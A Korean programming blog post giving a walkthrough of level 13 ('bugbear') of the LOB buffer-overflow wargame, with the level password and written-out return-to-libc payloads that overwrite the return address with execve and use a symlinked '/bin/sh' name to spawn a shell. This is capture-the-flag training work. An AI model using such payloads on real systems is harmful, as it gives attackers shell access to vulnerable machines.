일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 |
- go
- C++ gui
- tour of go
- vim-go
- C++
- Docker
- c++ heap
- 리듬게임
- go channel
- 운영체제
- C언어
- C++ gui 라이브러리
- a tour of go
- 연결리스트
- 공룡책
- JUCE 튜토리얼
- gui
- 알고리즘
- JUCE라이브러리
- 프로그래밍
- OS
- JUCE library
- LOB
- Nebula
- 코딩
- 자료구조
- 백준
- BOJ
- C++ library
- JUCE
- Today
- Total
CafeM0ca
[LOB]level13 bugbear 본문
ID:bugbear
PW:new divide
this code get libc offset,execve offset.
libc offset + execve offset = execve addr!
popen is read from process
One thing, you should know that execve addr is fixed any binary file! So. easily get execve addr.
print execve == p execve in gdb
copy original giant.c to ./tmp(mkdir tmp. tmp directory is acess any user) and add code at giant.c like picture
you can check execve_addr. same addr 'p execve'
If you use payload ./filename `python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"ret"+"parameter1"+"parameter2"'` ....
strcpy scan '\x0a' like \n. It fail exploit.
Use payload like this -> "$(python -c 'print "..." ')" . OK?
payload is "A"*44+"execve addr"+"ret (exit()) or any 4byte"+"/bin/sh path"+"/bin/sh"+"NULL"
key point : execve second parameter is pointer that point {"/bin/sh",0}. using symbolic link "/bin/sh"(argv[0] -> filename) and third parameter is NULL. using end of stack
symbolic link
ln -s copyfile /bin/sh
find filename(execve parameter 2) and NULL(execve parameter3)
payload: ./`python -c 'print "\xf9\xbf\x0f\x40"'` "$(python -c 'print "A"*44+"\x48\x9d\x0a\x40"+"\xf8\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\xf7\xff\xff\xbf"+"\xfc\xff\xff\xbf"')"
exploit
'Hacking > LOB(Red Hat)' 카테고리의 다른 글
[LOB]level15 assassin (0) | 2018.01.18 |
---|---|
[LOB]level14 giant (0) | 2018.01.18 |
[LOB]level12 darkknight (0) | 2018.01.04 |
[LOB]level11 golem (0) | 2018.01.04 |
[LOB]level10 skeleton (0) | 2018.01.03 |